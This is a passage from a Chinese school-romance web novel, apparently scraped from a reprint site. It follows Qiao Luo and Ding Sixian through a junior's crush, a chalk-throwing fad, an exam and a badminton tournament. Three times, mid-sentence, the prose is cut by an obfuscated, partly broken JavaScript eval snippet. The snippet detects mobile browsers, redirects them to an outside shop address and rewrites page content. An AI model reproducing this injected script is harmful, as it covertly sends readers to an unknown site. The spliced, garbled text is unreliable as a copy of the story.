嗯?小光?从她嘴里说出来怎么怪怪的。 丁似霰知道乔洛手机常年静音,也不怕会吵到她,立刻回了一句“好的,晚安”。 大概是在医院睡久了,他回到家之后没有什么困意,一直在床上玩俄罗斯方块。 早晨五点五十七,丁似霰又收到了乔洛的短信。 ——对不起啊啊啊啊我先谢个罪,昨晚上迷迷瞪瞪地跟阿姨聊开心了,我说你欠风流债了,我有罪,我怎么敢跟你妈妈说这个,你没啥事吧? ……原来真不是做梦。 ——还好,我妈没和我说,大概是当成了玩笑话。 ——你怎么这个点会醒啊?不上学还早起??? ——没睡,可能一会就困了,反正还要去打点滴,无聊得很。 ——祝你好运,今天遇不见吱哇乱叫的病友,阿门。 丁似霰看着手机屏幕不忍失笑,好一个阿门,这丫头是典型的走过路过各路神仙都可以拜一遍。 她又发过来一条。 ——照顾好我的小王八,一定要让它的王八壳一直暖乎乎的。 那乌龟玩偶被丁似霰放在了床边的学习桌上,他伸手拿了过来,敲了敲龟壳。 兄弟,或许你也会喜欢被叫小王八? ——好的,保证完成任务。 间操,一个常规的星期一升旗时间。 有个小姑娘在高二五班边上转了许久,穿着的是高一的校服。 乔洛看了许久,一直在脑海中搜索到底在哪里见过她,太眼熟了。 “我去,好像是面试的时候看到的那个!”乔洛恍然大悟,猛的一拍杨可期的肩膀。 “啊!”杨可期大叫一声,“你拍你自己啊,谁家恍然大悟拍别人啊!” “拍我自己那不是疼嘛。”乔洛又谄媚地揉了揉杨可期肩膀。 中午上学的时候,乔洛又看到了那个女孩。 她在高二五班的后门张望着,估计是在寻找丁似霰。 乔洛拿着刚在小卖部买的AD钙,斜靠在后门,边看着小学妹在门口转圈边小口嘬着奶。 哦,乔洛突然想到,她大概是因为发现自己的礼物没被退回,还以为有了希望,这才过来找丁似霰。 那女孩看到了乔洛,眼神中似有些疑惑。她认得乔洛,毕竟丁似霰总是在乔洛身边,只不过最近来往的不多,羽毛球赛也没有看到乔洛的身影,她还以为丁似霰和乔洛……掰了。 新材高中三栋教学楼之间是有外跨楼梯连接的,高一高二之间的外跨正好在四班北面的位置,那学妹无功而返必会经过四班。 乔洛看了几眼就溜回座位了,没什么热闹可看。 星期二,外面下起雨夹雪,间操取消了,乔洛站在外面窗台边上和丁似霰打着电话。 这家伙非说打吊瓶难受,要乔洛陪他聊天,正好这个大课间足有三十五分钟。 “诶,你猜我看到谁了?”乔洛拿着电话,略有些期待地看着迎面走来的女孩。 “这,范围广了点吧?”丁似霰的声音根本听不出来有什么不舒服。其实他已经快好了,明天就准备来上学,只是知道间操一定会取消,找个由头和乔洛说话。 “嗯……”乔洛小眼睛一转,一脸坏笑,“你的,投喂者。” 36. 般配 “……”丁似霰瞬间就明白了,是高一的郑艺馨。 “我发誓我没给过她任何错误信号,甚至都没说过什么话。” “唉,那看来是我们小光实在是过于招蜂引蝶了。”乔洛转过身,两手一撑坐在了窗台上,“让我来猜猜,小妹妹是来找你做什么的呢?” “除了豆奶,还有一盒巧克力,在我桌膛里,要不你帮我还她?” “好啊你,你还私藏巧克力,你是不是真想收呀?” “没有!我就是想等我上学了再去买袋豆奶原封不动还她。” “这事我不帮你,你自己弄……”乔洛话还没说完,郑艺馨竟向她走了过来。 “学姐,你知道丁似霰学长这两天去哪里了吗?”那女孩声音倒是很好听,文文静静的。 乔洛有些惊讶,放下了手机,但没有挂断电话,只是把手机倒扣在阳台上。 “嗯……你找他?”乔洛问道。 这不是很明显吗?郑艺馨不懂乔洛为什么还要再问一句。要不是两天都没见到丁似霰,她也不想来问乔洛。 “我,我找学长有些事。” “哦,”乔洛坐在窗台,脚还踩在下面的暖气片上,两手撑在身体两侧,看起来颇为豪迈,“妹妹,你想追丁似霰?” 手机那端的人本在小口喝着水,听到这话直接呛了一口。 小姑娘心思直接被乔洛戳破,多少有些站立不安。好在乔洛说话声音不大,并没有其他人听到。 乔洛见郑艺馨没有说话,便继续说道:“你追不追他我不感兴趣,我就是提个醒啊,那人说道比较多,你送吃的之前最好还是先打听打听他能不能吃。” 郑艺馨一听这话,眼睛竟然亮了起来,“所以学长收下了?” “确实,豆奶被他喝了,然后他被医院收了。”乔洛的手指有节奏地敲着窗台,震动传播的声音均匀送进了手机里。 “那……那学长怎么样了?是出什么问题了?”郑艺馨看起来有些着急,“学姐你能再和我说一下他都喜欢些什么吗?” “反正死不掉,至于他喜欢啥……这,你要不然还是自己问他吧,我还没和他熟到这么知根知底的地步。”乔洛忽然有点恶趣味上头,丁似霰的热闹,看看也蛮有趣的。 “好吧,”郑艺馨有些失落,但还是想从乔洛这里了解点什么,“学姐你有学长的联系方式吗?” “有,”乔洛此时把手机攥在手里,收音更加清晰。 就在丁似霰以为他的Q/Q号又要被乔洛拱手相送的时候—— “但他这个人阴晴不定,性格不好,我可不敢随便把他Q/Q给出去。” “啊……那,打扰学姐了。”小姑娘说完,就快步离开了。 乔洛重新把手机放在耳边,“怎么样,小光这次对我的回答可否满意?” 她这两天一直在叫他小光,大概是真的感觉很有趣。 “满意,特别满意!” 丁似霰下午就跑回学校上课了。 但乔洛总感觉他不是那么热爱学习,这厮看起来像是奔着朗诵比赛去的。 真搞不懂他。 不过他自我修复机制还是蛮强悍的,除了晚饭的时候只泡了点藕粉以外,基本看不出来还有什么问题。 藕粉还是乔洛去冲的。她从来没弄过这东西,有点好奇,之前总听说这东西很容易冲失败来着。 没想到啊,乔洛一次就成功了。 但这东西……真的能吃吗……乔洛看着这淡粉色的粘稠状……应该算固体吧?真的是没什么食欲。 后来乔洛还是从杨可期那里蒯了一勺桂花蜜加进去,不然她总感觉这东西难以下咽,虽然不用她吃。 再遇见郑艺馨,是星期四了。 晚饭的时候丁似霰拖着乔洛在外面散步,美名其曰轻度运动促进消化,乔洛和他一起他心情好,都有助于恢复。 乔洛唯一的要求——丁似霰在柏油路上走,她在马路牙子上面走,这样会显得她高一些。 郑艺馨在丁似霰经常打羽毛球的地方张望着,那时他和乔洛正好路过。 乔洛看见郑艺馨之后,非常丝滑地转身,“兄弟,你自己去吧,我好像不应该在现场。” “好,那你自己溜达溜达。”丁似霰也知道,这种事情还是要早点说开了,只不过小姑娘没来找他,他也不会去说什么,但早在星期二晚上,豆奶和巧克力就已经原封不动托人送过去了。 还是向广播站的新生打听的,郑艺馨的班级。 乔洛只是在原地数了一会树上的家鸟,丁似霰就回来了。 “真迅速,”乔洛打趣着他,“好无情的男人。” “啊?你这不是应该夸我不拖泥带水,洁身自好嘛?” “该说不说,我真感觉挺般配的。” “什么般配?” “明艳漂亮的学妹和英俊活泼的学长,多~配~啊~”乔洛那时正倒退着走路,笑嘻嘻看着丁似霰。 “好了别说了,你眼光属实不怎么样,”丁似霰无奈扶额,“我一会要是胃疼就怪你气我。” “冤枉呀我,”乔洛两手叉着腰,直接拆穿丁似霰的无理取闹,“你那是非要大冷天出来当溜达鸡,还要一直说话吃冷气。” 丁似霰听罢直接对乔洛伸出胳膊,“我不管,我走不动了,啊,好可怜!” 乔洛倒也没和他拉扯,转过身走近了些,让他搭在自己肩上,“还真是脸比城墙厚一锥子都扎不透。” “挺押韵的呀?”丁似霰如愿以偿,“你就不好奇我和郑艺馨说什呢了?” “她叫郑艺馨?倒是个挺好听的名字,”乔洛才知道那女孩的名字,“无非就是戳破小妹妹的粉色幻想泡泡,有什么可好奇的。” 有时候,对什么事情都过于平淡了确实会有些无趣,丁似霰突然感觉还是喜欢乔洛骂他的样子。 “你怎么还叫上人家妹妹了?说不定她比你都大。” “她那天叫我学姐,我怎么不能叫妹妹了?” “哦~原来洛洛喜欢当姐姐……” 乔洛预判了丁似霰要说什么,立刻仰起头瞪了他一眼,“你最好是别让我现在有什么弄死你的冲动。” 丁似霰立刻一脸谄媚的笑容,“但凭姐姐处置。” “我处置你个大头鬼,”乔洛拽着丁似霰搭在她肩上的手,向教学楼走去,“走,回教室了,一会再给你冻出个好歹来。” “姐姐什么时候陪我吃蛋糕?” “你现在能吃?”乔洛不太知道他这个样子到底得恢复多久,但胃不好要少吃甜食这个事情她多少还是会知道一些的。 “……不太能。” “那你就幻想着吧,梦里啥都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908928|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。” “好绝情的女人。” “好无赖的男人。” 嘿,听起来要比刚才乔洛说的什么学长和学妹般配多了。丁似霰突然有点喜欢这个搭配。 冬至日,丁似霰终于吃到了他梦寐以求的奥利奥蛋糕。 他一直磨着乔洛,要和她一起过生日,但被乔洛严厉拒绝了。 乔洛本是同意的,但在十二月初的时候,在她以为丁似霰真的已经屁事没有活蹦乱跳的时候,这人晚上不知道又哪里不对劲了,跑厕所吐的昏天黑地被乔洛抓了个正着。 明明就是个自习课,丁似霰也不清楚乔洛是怎么知道的,反正当他又看到跑进男厕门口洗手池的乔洛时,感觉天塌了。 他当时还说不出话来,只趴在水池边,努力地平复着呼吸。乔洛也没有说话,只是轻轻抚着他的背……她甚至另一只手还拿着杯红豆沙在喝。 不过丁似霰认错十分迅速,稍微缓过来一点就断断续续说着话。 乔洛只是嘬着红豆沙,在他说完了之后回了一句“关我屁事”。 通常来讲,她说这四个字的时候多少都是有些气了,这次也不例外。 不过想来也不怪他,是今天食堂的东西属实……很奇怪,哪怕他们都只嗦了两口面条就扔掉了。 但是上课之前乔洛问他有没有不舒服。 他又说没事! 要不是乔洛感觉晚上自己的舌头被亏待了,越想越难受,于是找了家热饮决定弥补一下自己,在自习课的时候去后山取了喝的,不然她还真发现不了丁似霰。 当然,除了这杯红豆沙之外,还有杨可期的桃胶撞奶,许志的芝麻糊以及丁似霰的山药南瓜玉米糊。原本是乔洛和杨可期准备旷半节自习课出去转一转顺便把喝的取回来,结果刚上课没多久杨可期就睡着了,乔洛只好按照和店家约好的时间,自己溜去了后山。 买这家店还是因为上次丁似霰说那东西好喝来着。 不过他确实也就是吃坏了东西,吐了就好了,多亏没引起什么其他问题。 丁似霰看着乔洛喝红豆沙的时候,乔洛就知道他想问什么。 不就是震惊于她拿着喝的蹲在水池旁并且喝了几口吗。 “我不在乎。”她说完,又喝了一大口。 她本来想说如果按照分子运动角度来说其实每次吃东西都多少会吃点屎。但还是忍住了没继续恶心丁似霰。 不过倒不是不在乎,是刚才有点着急只想起来把左手拎着的另外三杯放外面,右手拿着的这个忘记了。喝两口只是为了管住自己这张破嘴别骂人。 和糊糊一起在五班后门递给丁似霰的还有乔洛的警告。 “你要是再敢让我猜,不管你有没有事我都真让你有事。” “能申请给我留个全尸吗?”他还是笑嘻嘻的样子。 乔洛翻了个白眼,“不能。” 所以,哪怕拖到了冬至那天,可怜的小光也只吃到了一小块奶油蛋糕。 还是乔洛和他说,让他再养一养,等到寒假有机会去蛋糕店陪他做一个,才把小光又捋成顺毛。 【写在文章里,是发现似乎有盗文。那么如果真的有人看到这里,来晋江看看孩子给个收藏吧,反正也是免费的,看正版多好,给个评论小作者心花怒放还给反馈说不定再给您表演一段单口相声是吧……】 37. 未知坐标 十二月底的时候,整个新柳早就被积雪和冰块覆盖,当然包括篮球场和广场这些地方,大课间取消了,体育课的活动范围也受限,所以那些男生就像没有得到充足运动量的灵缇犬一样——在教学楼里研究着该怎么释放精力。 乔洛看到第一个扔粉笔头玩的男生的时候还没有意识到事态的发展进程。 学校里的潮流总是很神奇,比如曾经看到了第一个翻花绳的人,莫名其妙很快就基本上人手一根绳互相翻着玩;比如当有一颗纸星星出现的时候,就会马上有数不清的星星纸条涌入校园;再比如这第一个粉笔头被抛出来之后,就有源源不断的粉笔头扔向四面八方。 偏偏这周是乔洛值日。 她晚上扫地的时候简直想骂街,白色的粉笔落在水泥地上格外显眼,万一哪个小粉笔头被人踩了一脚那更是灾难性的存在。 晚自习课间,那帮男生又走班串巷地互投着粉笔头。乔洛窝在最后一排,虽无法做到远离这些战斗,但也尽可能离得远些。 她无法理解这种游戏——不是不喜欢玩,是因为她投不中。 其实最近陪着丁似霰打羽毛球,乔洛的准头略微提升了一些,不过扔粉笔头和打羽毛球还是多少有点区别的。 杨可期倒是扔得准得很,还是初中练出来的本事,这种莫名其妙的游戏说不定什么时候就要兴起一趟。 那时候乔洛刚睡醒,还在愣愣坐着发呆。 “啪!”一个小粉笔头落在了乔洛笔袋旁。 乔洛缓慢地拿起来这小东西,顺着它大概的轨迹,转过头去——后门,丁似霰手里还攥着一把粉笔头。 她眯着眼,瞄着丁似霰……的身侧,扔了过去。 因为乔洛清楚她扔不中,不如直接扔偏一点,给自己留出些余地。 行吧,还是扔不中,丁似霰都站在原地没躲。 “你再给我点,我就不信我今天扔不中你!”她对丁似霰喊到。 丁似霰颠颠地跑进四班,把手里一大把粉笔头都放在了乔洛桌子上,“我站门口给你当靶子,但杨可期不能上手啊!要不然得给我爆一晚上头。” 杨可期无语,她趁机从地下随便捡了一个,麻利地扔出去,砸在丁似霰肩膀上。 “略略略,你还没站到门口呢,”杨可期语气十分挑衅,“你敢不敢跟我对狙一战高下?” “不敢不敢,女侠留我一条狗命吧!”丁似霰对着杨可期作揖。 最后,直到上课铃打响,乔洛也只有两个粉笔头擦到了丁似霰的袖子。 至于为什么是袖子……因为有人根本不舍得瞄头。 并且丁似霰把所有粉笔头都捡走了这件事情让乔洛很满意。 下一个课间,乔洛找到了新的乐趣。 她扔,他接。 谁说非得粉笔头扔的准才能打到人了?靶子自己会移动那结果不是一样嘛! 期末那段时间,都是复习了,每天做着数不清的卷纸。 奉州市期末通考结束,沈老师叫乔洛去了办公室。乔洛一路上都在想,她记得这次数学卷做得没什么问题啊,估分的时候应该是135以上的,这不至于被谈话了吧? 敲开数学组办公室大门后,乔洛才知道她不是被谈话,是沈老师感觉她所有大题步骤逻辑清晰书写工整,想要放在大屏上投给四五班的学生们参考一下。 乔洛听到后终于松了口气,“小事小事,老师您随便投,这也太客气了还特意问我一句。” 沈老师看着她这样子不禁打趣道:“怎么看起来很担心的样子,你做了什么心虚?” “没有,我能干啥坏事啊……”乔洛一脸谄媚的笑容,她除了最近半个月都没太写过数学作业以外,确实也没什么亏心事。 “但我虽然是要夸你,你也不能那么猖狂,还是经常不给我写作业,我留的也不多,怎么说也得写几次是吧,我还指望你高考给我打出个高分呢!” 乔洛不住地点头:“尽量!” 尽量不是保证,沈老师不检查作业,所以乔洛还是不会写那些卷纸…… 高二会比高一多上一周课,考试结束后并不会立刻放假,期末考试的卷纸老师们也会进行讲解。第二天一早,乔洛的卷纸就被投在了高二五班的大屏幕上。 直到沈老师讲到立体几何之前,丁似霰还沉浸在以洛洛为荣的骄傲中——毕竟他的解题步骤可以算得上是乔洛亲手带出来的。 只是确实步骤再清晰,脑子没想到怎么解也做不出来题,所以沈老师也只是顺嘴提了一句丁似霰的步骤写的也很不错,一个班的同学可以互相看看,参考借鉴学习一下。 可那道立体几何,大有乾坤。 乔洛设的坐标点不是(x,y,z),而是(d,s,x)。 沈老师之前没有注意,如今读到这里才皱着眉吐槽一句:“乔洛设的未知数怎么这么奇怪?这个同学们还是不要学了,都尽量统一设成xyz,做题的时候不容易记混。” 有几个机灵的学生,想到了些什么,偷偷回过头去,看了看那个在角落里拿着乔洛早自习用暖气烤热的八宝粥暖手并且对着大屏幕一脸痴汉笑的DSX。 杨可期看到乔洛的卷纸时,第一反应就是:这到底和当众示爱有什么区别! 杨可期问乔洛怎么想的,写这三个字母。 乔洛一脸坏笑,“还记得咱俩前两天自习课写纸条的时候,我懒得写他名字,就直接写的dsx吗?” 杨可期点点头,“他笔画那么多,不是简写了一下吗?” “我就突然间发现……”乔洛贴在杨可期耳边,声音很小:“这仨字可以说成,大傻X。” 噗哈哈哈哈哈哈哈哈哈哈,丁似霰知道了要吐血的吧? 好在没人和他说乔洛到底在想什么,小光脑子里的粉色泡泡被他藏着存放到了十多年以后。 很快,高二上学期,结束了。 新材高中和一高中每年寒假都会有一场羽毛球赛。不过去年丁似霰没报名,而是放了假直接去南菀。 但今年不同,今年乔洛松口了,她同意和丁似霰一起打混双,那这个比赛是非参加不可了。 丁似霰早早就和余美兰说了今年让她先去南菀,自己再留几天,这个比赛结束了他再去。出乎他意料的是,余美兰竟然说不着急,等腊月二十七八再走就可以。 一般来讲混双的话多数都是男生打后手,但洛洛从来不是一般人。 她确实力气不够大,打后手的球有一些吃力,但是在体育馆用球网打的时候,发现了一些有趣的事情——乔洛的力气正好可以让她把球打过网,仅仅是过网。这也就是说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908929|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔洛这种技术足够恶心人了,所以乔洛决定她打后手。 反正问题不大,打烦了随时让丁似霰出手就好。乔洛发现她这一年半以来多少也变了些,至少真的感觉,不管乔洛需不需要吧,丁似霰总能找到角度夸她并且尽量托着底。 虽然对于乔洛来讲,依旧是很多事情自己都可以解决,她也并不是很在乎旁人如何评价。 但这感觉,挺爽。 比赛是在放假之后立刻举行的,周日放假,周一下午就开始了。 第一天的单打,没有乔洛的事情,但她还是早早就把杨可期拽去了,在观众席看热闹。 杨可期也和许志组了一队,因为平时在学校里给那两个当陪练也打了一个多月,索性报个名玩一玩,杨可期还能比乔洛的技术好上不少。 现场还是蛮热闹的,或者说是蛮吵的。 按照往年经验来说,新材其实打不过一高中,因为一高中总会有体育生参赛,而新材整个学校都找不出来几个。 不过这种联谊赛就是重在参与,用新材体育老师的话来讲:新材高中已经成绩这么好了,体育差点就差点吧,总不能好事都让新材占了。 说这话大概是因为无论是羽毛球赛还是篮球赛,新材在大比分上很少赢过一高中。 和一高中这个联谊赛是积分制,女生报名的比较少,都是一局一分,共十组,两边抽签,相同数字就自动组成一对。 男生有一分和两分的,三十组一分,十组两分,一共报了三十个人,有十个抽两个签,一局一分,一局两分。 当然,丁似霰和许志都得能者多劳。丁似霰抽签抽到了二十四和三十六,许志则是第三组和三十四,他很快就要上场了,所以观众席只剩下了丁似霰和两个姑娘坐在一起看热闹。 一高中那边还有一伙自发组织的拉拉队,小姑娘们竟然穿着短裙。 哪怕场馆里有暖气,哪怕姑娘们下面搭配的是过膝的长筒毛绒袜子,乔洛看着还是感觉冷。 果然美丽是冻人的。 “这种比赛这个天气真的需要拉拉队吗?”乔洛看着女孩们,不忍发出疑问。 杨可期也一样无法理解。 丁似霰竟然偏着头在看那伙拉拉队的反方向。乔洛用肩膀撞了他一下,“嘿,有美女你怎么不知道看?” “啥?”他顺着乔洛的视线看过去,“嘶,这不冷吗?” “大概是热情似火吧。”乔洛把手揣进袖子里,一副“东北大爷揣手”的模样。 许志在距离他们仨落座的观众席最近的那个2号场地,三个人都不用眯眼就可以看清楚战况。 许志这简直就是白捡的分,和他对打的那位明显都不是一个级别的,他直接连赢两局拿下这一分。 “没劲,乔洛和他打说不定都能赢。”许志回到观众席,发出感慨。 “我已经菜成一个衡量标准了是怎么的?”乔洛自认为,她打了一个多月多少还是长进了点——主要是许志很多时候预估不好乔洛能把球打去哪里,实在难接。 许志疯狂点头。 “后天去你家大棚把草莓都吃干净。”乔洛道。 丁似霰笑道,“那你还真吃不完,他家今年扣了两个大棚。” “我能,我小时候去采摘把老板吃急眼过!”杨可期一脸兴奋。 38. 球赛 还是小学的事情了,那老板纯属玩不起。 乔洛不喜欢吃草莓,只是陪杨可期去采摘,但两个姑娘筐子里是空的,只吃不装。 不过云锦书和杨若竹那可是摘了满满三筐啊! 两个八九岁的小姑娘又能吃多少,啊不对,只有一个姑娘有战斗力,乔洛从头到尾就吃了两个还是三个草莓。 结果那家老板竟然让她们如果一直这么吃就别摘了。 啊??? 还好过了一年再去那片采摘园转的时候发现这家店子已经不在了。果然这种玩不起的就挣不到钱。 “没事,我不急眼,你吃的多说明我家草莓好吃,我奶得一边看你一边乐。”许志倒是很期待。 乔洛对于看球赛不大感兴趣,某种意义上来讲,她确实是来看丁似霰的……或许是补上在学校放他鸽子的那次? 所以她在观众席也就是有一搭没一搭聊着天,然后欣赏欣赏体育馆的建构——不知道从什么时候起,乔洛就很喜欢看这些建筑物的结构,还会在本子上画一些她脑海中的屋子。 广播已经叫第二十四组去候场了。 “要不要跟我去场地附近?”丁似霰问道。 乔洛刚刚还在数这个棚顶用了多少根钢筋,眼看着快数完了,只随口说了一句,“等一会的。” “那我先走了?”他拿起球拍,站了起来。 乔洛点了点头。 数数本来就是一项……容易出错的项目,她其实完全没注意丁似霰说什么。 等她数完,才反应过来身边的位置已经空了。 他说啥来着?啊对,跟他去他场地附近。丁似霰在六号,和他们的座位斜对角的位置。 乔洛刚猫着腰起身,就听到远处一阵欢呼声。 广播的声音响起,“第二十四组,新材高中胜。” 不是吧?这就打完了? 她眯着眼,企图向六号场地看到些什么。 丁似霰也正向这边张望,路线相同的两道目光自然会交汇。 她有点迷茫,愣了一秒之后给了丁似霰一个灿烂的笑容和高举胸前的大拇指。 丁似霰回了乔洛一个wink,然后……笑得很不值钱。这一举动倒惹得乔洛后面的女孩子连连害羞。 “新材还有这号人物,之前我怎么不知道啊!” “天啊天啊,丁似霰对着这边笑了,他好帅啊啊啊啊啊!” “……” 这一类声音此起彼伏。 乔洛不禁在重新思考还要不要近距离去看他下一场比赛的事情,这人实在是耀眼了一点。 而且也不好把杨可期自己留在观众席。 “好!有什么不好的!咱俩一起过去,包背着,反正他俩打完咱就吃饭去了。”杨可期收拾东西的速度飞快,直接连推带拽地把乔洛拎到了五号场地和三号场地中间的位置,最后两场比赛丁似霰在三号,许志在五号。 一共只有六个球网,三十一到三十六组是一起开始的。 这完全和刚才那些不是一个级别的。 乔洛左边看一下,右边看一下,感觉看得她眼花缭乱。 这帮家伙如今每一次击球都发出了很大的声响,急促又力量十足。 “我感觉这俩大哥的球要是打我脸上能给我砸死。”乔洛咧着嘴感叹。 “丁似霰就算把自己砸个窟窿也不可能打你脸上,放心吧!”杨可期竟然在考虑乔洛的话的可实现性,“至于许志?那更不可能了,除非他想丁似霰的球砸在他脸上。” “……”乔洛其实在想的还有另一件事情,“明天咱俩会不会丢人现眼太严重了……” “来不及后悔了,除非弃权。”杨可期倒是也深有感触。 “那还是算了吧,万一有比我还差劲的呢。” 乔洛举着相机,把镜头对准了场上的两个男孩。似乎真的是认识丁似霰之后,她突然感觉搞个相机挺有必要的,这么青春有活力的时刻确实应该记录下来。 之前家里这个相机基本一直在关机状态,实在是暴殄天物。 “来,你来站这里,我给你照几张!”乔洛给杨可期安排了一个光线非常好的角度,频繁摁下快门。 杨可期长得很漂亮,身材又高挑,十分上镜。 对于这种技术堪忧的摄影师来说,三要素就是——模特好看,模特好看,模特好看。 所以乔洛选的三个模特都特别合适。 两分赛就要焦灼许多了。 许志以21:14和21:12的成绩连赢两场,结束了比赛。 丁似霰还在继续。 第一局他20:22输掉了。 如今这局两边已经打到24平分了。 “这么刺激吗?”乔洛第一次看球赛,没想到比分可以咬这么紧。 “他倒霉,抽到了一高中那个体育生,”许志站在观众席的栏杆下,和女孩们说着话,“好像还在纠结走乒乓球还是羽毛球,总之都打得不错。” “和体育生都能打这么焦灼?”杨可期不禁感叹,“没想到丁似霰这么厉害!” “我去,二十六平了!”乔洛看着不断翻页的积分牌,莫名其妙有些紧张。 原来看球赛是这种感觉。 “估计得看谁先到三十,这丁似霰要是赢了,下一把也难打,”许志不禁叹了口气,“和体育生比体力,简直灾难至极。” “已经很厉害了,赢不赢都很厉害了。”乔洛一边盯着场上的少年,还不忘频繁看看手机。 “你在等什么消息?”许志问道。 杨可期把手伸出栅栏,用手机敲了一下许志的脑袋,“道上的事少打听!” 还真别说,这个高度拍起来超级顺手。 “丁似霰牛逼!!!” 随着场上的积分牌翻到29:27,许志一声惊呼。 乔洛和杨可期也和大多数人一样,用手在嘴边扩成喇叭,连连发出惊叹。 丁似霰向观众席看了过来。 乔洛忙把两只手都换成了高举大拇指的样子举在自己身前。 很快,第三局就开始了。 或许是那个体育生刚开始心态不太好,丁似霰连拿了七分,但之后比分便慢慢被追了上来。 丁似霰确实体力不够了。 比分牌翻到了18:20,丁似霰是18。 乔洛突然接了电话,急匆匆跑走了。 “不是?这么紧张的时候乔洛不看了?”许志一脸震惊。 “她去取花了,”杨可期解释道,“刚刚定的。” 许志更震惊了。 杨可期又敲了他一下,“放心,也有你的。” “姐姐,您把我当木鱼了是吗?”许志揉了揉脑袋。 “你见谁木鱼敲的频率这么低?”杨可期开始模拟敲木鱼,“这才是敲木鱼。” 21:21 21:22 22:22 22:24 最终,丁似霰还是输了。 无论谁赢,都会有欢呼声的。 他下意识看了一眼观众席的位置,只有许志和杨可期,却不见乔洛。 丁似霰四处搜寻着,终于,在不远处的入场口看到了气还没有喘匀的、抱着两捧向日葵花束的女孩。 人群在他们的目光之间穿梭流动着,那一刻,有一些躁动不安与岁月静好共存。 原来她买了花。 可他输了。 乔洛穿过人群,跑向了丁似霰,笑意盈盈地拿起一束递给他。 丁似霰没有接,他有些不好意思地搓着耳垂,“我……没赢……” “花是送给你的,不是送给比赛的!”乔洛把另一束用胳膊夹住,然后腾出了手,强制性让丁似霰抱住了花。 他左手还在抖。 “这么拼?”她伸手揉了揉丁似霰的胳膊。 不知道是酸疼的肌肉被按摩的正常感觉,还是因为什么其他的原因,丁似霰感觉被乔洛揉搓的地方酥酥麻麻,像过电一般。 竟然已经认识一年多了。 那个当初只有一米五几的小姑娘,如今已经长高了个子,站在他身边,脸上洋溢着笑容,眼睛弯弯的,亮闪闪的。 笑容里,似乎还有一些……心疼? 不知是因为刚刚的运动让人心跳加快,还是女孩满是喜悦的眼眸撩人心弦。 丁似霰有些呆呆地看着她。 “你转转手腕,感觉能不能好一点?”乔洛说道。 “啊……好,”丁似霰的嘴咧开了一个不小的弧度。 他笑着,边转手腕边点头,更像极了一只把尾巴当成螺旋桨的大狗狗。 乔洛看着他,只觉得这人笑起来格外好看。 少年灿然一笑,在岁月长河中浅浅留下了一个印记。 她松开丁似霰的胳膊,又踮起脚,在他头上揉了一把。 嘶,有点潮,刚才大概是出了不少汗。 算了,今天就不嫌弃他了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908930|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “已经很厉害了,术业有专攻嘛,让他做题的话肯定没有你厉害。” 乔洛的声音很好听,一直都是。这时她又多少带了一些哄着丁似霰的语气,自然而然把声音夹得更甜美了一些。 搞得人脸红红的。 “打扰一下哈,”许志突然从乔洛身后冒了出来,“你胳肢窝里这束是我的吗?” 乔洛忙把花递给许志,并且转过头看着他,一脸不解,“我这还没夹到胳肢窝呢!我是用胳膊肘和腰夹着的好吧?” “就,这么就给我了?也没点仪式感?”许志接过花,抱在怀里,“不过我不嫌弃,下次继续!” 杨可期又敲了一下许志的脑袋,“下次你个大头鬼,高三不让参赛了,你的下次只能是明天和我一起丢人。” 乔洛看着丁似霰,“你也是哦!” “怎么能叫丢人呢,敢于挑战自我那是勇气可嘉的。”丁似霰把花抱在胸前,挂着不值钱的笑容的一张脸好像已经埋进了花束里。 双人比赛有十八组组男双,六组女双,六组混双,依旧只有男双有六组两分赛,其余都是一分。 不过丁似霰和许志没有报两分赛。 “打不动,跟那帮体育生打后场球得累死我俩。” 这是两个人一致给出的解释。 混双是最后才进行的。 候场的时候,乔洛和杨可期显然没有前一天的松弛。她俩想到一会要站在球场里被公开处刑就很想现在立刻马上像只鸵鸟一样把头藏起来。 但该来的总会来。 杨可期和许志在一号,乔洛和丁似霰在六号,好遥远的距离。 不过还好,一高中那两个报了名的体育生在四号,也就是说,剩下的组菜鸡互啄,也不至于输得太难看……也或许还有点胜利的可能性。 乔洛搓着球拍杆,表情复杂地对丁似霰说道,“那个……我要是一球都打不过网去,你不能骂我啊……” 丁似霰似是不敢相信自己的耳朵,“我什么时候还敢骂你了?” “我,怕你恨铁不成钢。。。” “那只能说明我没有一打二的能力,我还得练。” 乔洛拍了拍丁似霰的肩膀,甚是满意,“很有思想啊小伙子,建议普及。” 在对面的姑娘发球没过网的一瞬间,乔洛没忍住,笑了出来。 真是一场半斤对八两的比拼。 但是这个时候笑太不礼貌了。她只好捂住脸,尽快平复着心情。 20:13 羽毛球携带着凌厉的风声直直冲去了后场。 右脚蹬,左脚垫,身体转,起跳奋力一击! 靠! 出界了。 